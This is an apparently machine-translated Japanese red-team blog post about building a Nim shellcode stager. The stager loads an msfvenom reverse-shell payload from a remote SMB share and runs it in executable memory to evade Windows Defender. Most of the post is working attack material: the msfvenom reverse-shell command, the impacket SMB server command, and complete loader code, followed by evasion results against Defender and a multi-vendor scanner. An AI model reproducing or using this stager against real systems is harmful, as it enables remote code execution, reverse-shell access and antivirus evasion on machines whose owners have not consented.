Nim での SMB ステージャーの開発

Nov 24 2022
こんにちは、レッドチームの皆さん。私は最近、攻撃的なコーディングについて Nim と連絡を取り始めました。

こんにちは、レッドチームの皆さん。私は最近、攻撃的なコーディングについて Nim と連絡を取り始めました。正直に言うと、難しくて奇妙だと思いますが、うまくいきます!

現在、テスト時に Windows Defender をバイパスして、単純な SMB ステージャーを開発しています。

読むよりもビデオを見たい場合は、完全なビデオをここで見つけることができます。https://youtu.be/qq-S2syksL0

また、オープンな Discord に参加してサイバーセキュリティの知識と経験を共有することに興味がある場合は、歓迎します。https://discord.gg/dWCe5ZMvtQ

行こう

理論は非常に単純です。アイデアは、ファイルへのシェルコードの書き込みを回避し、署名ベースの検出をバイパスし、ヒューリスティックにも役立ちます。最初は HTTP でシェルコードをダウンロードしようとしましたが、多くの問題に出くわし、自分で解決できませんでした。その後、方法論がわずかに変更されました。HTTP からダウンロードする代わりに、ペイロードは SMB 共有でホストされ、そこから直接読み取られます。

msfvenom ステージレス ペイロードを使用しました

msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f raw -o code.bin

impacket-smbserver smb . -ts -debug -smb2support

import winim/lean

var filename = "\\\\192.168.153.128\\smb\\code.bin"

var file: File = open(filename, fmRead)

var fileSize = file.getFileSize() 
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close

echo shellcode

echo fileSize

echo sizeof(shellcode)

type
    buf* = LPVOID



var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()

まず、Windows カーネル ライブラリをインポートして、Windows API を呼び出せるようにする必要があります。

import winim/lean

var filename = "\\\\192.168.153.128\\smb\\code.bin"

var file: File = open(filename, fmRead)

var fileSize = file.getFileSize() 
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close

type
    buf* = LPVOID

var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()

テストタイム!

2つのテストを実行しました。最初の 1 つは、Defender UP および RUNNING を使用した Windows 10 クライアントに対するものです。2 つ目は、antiscan.me インターフェイスに対するものです。

Nim Stager vs Windows Defender

テスト 1 は、ステージャーをファイルシステムにドロップすることから始まります。これまでのところ、何もトリガーされていません。つまり、署名ベースの検出をうまく回避できたことを意味します。それでは、実行して観察しましょう。

ステージャーは問題なく動作することが判明しました。ここで奇妙なことに、Defender はトリガーされましたが、シェルは強制終了されませんでした。

このシェルを数分間実行しましたが、完全に機能していました。私は個人的に、ディフェンダーがなぜそれを殺さなかったのか手がかりがありません。答えを知っていれば、共有していただければ幸いです.

Nim Stager vs Antiscanme

誤解しないでいただきたいのですが、antiscanme は優れていますが、stager をテストする場合、有効な結果を提示する方法が実際にはありません。表示される結果は、実際のシェルコードをダウンロードするネットワークの可能性がないため、シグネチャ ベースの検出にしっかりと基づいています。より多くの AV ベンダーが実際のテストでそれを確認することを期待していますが、これは良い「最初のステップ」です。

ステージャーをアップロードした後、4/26 ベンダーのみがそれをキャッチできました。

トリガーは、ベンダーが Windows API 呼び出しを読み取ることに基づいているため、悪意のあるものとしてカウントされていると思います。もちろん、何がうまくいかなかったのかを正確にテストするには、非常に多くのテストを実行する必要があります。それが今のところの私の理論です。

結論

Nim で遊ぶのは楽しいし、単純にステージングするだけで得られる結果は驚くべきものです。もちろん、実行できるより高度な AV バイパス技術がありますが、将来的にはそれを行う予定です。そのコンテンツが役に立ち、何か新しいことを学んだことを願っています。